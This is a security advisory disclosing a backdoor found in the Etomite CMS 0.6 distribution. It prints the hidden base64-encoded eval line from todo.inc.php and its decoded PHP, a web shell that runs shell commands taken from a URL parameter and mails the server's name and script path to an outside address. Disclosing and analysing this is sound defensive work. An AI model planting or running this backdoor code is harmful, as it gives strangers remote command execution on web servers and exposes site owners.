Etomite CMS "Backdoored"

[Luca () securityfocus com, Ercoli () securityfocus com, "[at]"@securityfocus.com, SeeWeb.Com () securityfocus com]

/******
Package: Etomite Content Management System
Auth: http://www.etomite.org/
Version(s): 0.6 / previous versions may also be backdoored
Vulnerability Type: Remote Code Execution
*****************/





Disclaimer:
---------

The information is provided "as is" without warranty of any kind.
The author of this issue shall not be held liable for any
downtime, lost profits, or damages due to the informations
contained in this advisory.



What is Etomite?
---------------
[description taken from from the author's site]

Etomite is a Content Management System, which allows you to remotely
administer your website from anywhere that you have an Internet
Connection and a compatible Web-Browser.



Vulnerability Description:
-------------------------

Etomite source code contain a backdoor component that 
allow remote users to execute arbitrary code on the host
that Etomite was installed on.



Deep Focus:
----------

As of this writing (01-19-2006), the current stable version (0.6)
available from http://www.etomite.org/ has the following MD5 sum:

f173bcb275b7344d5cd5a1f6315919e6

[It is possible for other backdoored archives to have different MD5 sums]


Malicious code is present in the 'manager/includes/todo.inc.php' file,
where we can find an encoded data with the base64 algorithm:

eval(base64_decode("JGhhbmRsZT1wb3BlbigkX0dFVFtjaWpdLiIgMj4mMSIsInIiKTt3aGlsZSghZmVvZigkaGFuZGxlKSl7JGxpbmU9ZmdldHMoJGhhbmRsZSk7aWYoc3RybGVuKCRsaW5lKT49MSl7ZWNobyAkbGluZTt9fXBjbG9zZSgkaGFuZGxlKTttYWlsKCJjaWpmZXJAbmV0dGkuZmkiLCIiLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRiddLCJFcnJvciBDb2RlICM3MjA5MzgiKTs="));



The result of base64-decoding is reported below:

$handle=popen($_GET[cij]." 2>&1","r");
while(!feof($handle))
 {
  $line=fgets($handle);
  if(strlen($line)>=1)
     {
       echo $line;
     }
  }
pclose($handle);
mail("cijfer () netti fi","".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'],"Error Code #720938");


Analyzing decoded data is easy to understand that:

- The popen() function executes the command specified by the variable
 named 'cij' provided to the script via URL query string

- An e-mail message, where there is reported the filename of the currently
  executing script and the server name,  will be sent to 'cijfer () netti fi'











Credits:

-- 
Luca Ercoli     <luca.e [at] seeweb.com>
                http://www.seeweb.com/
                http://www.lucaercoli.it/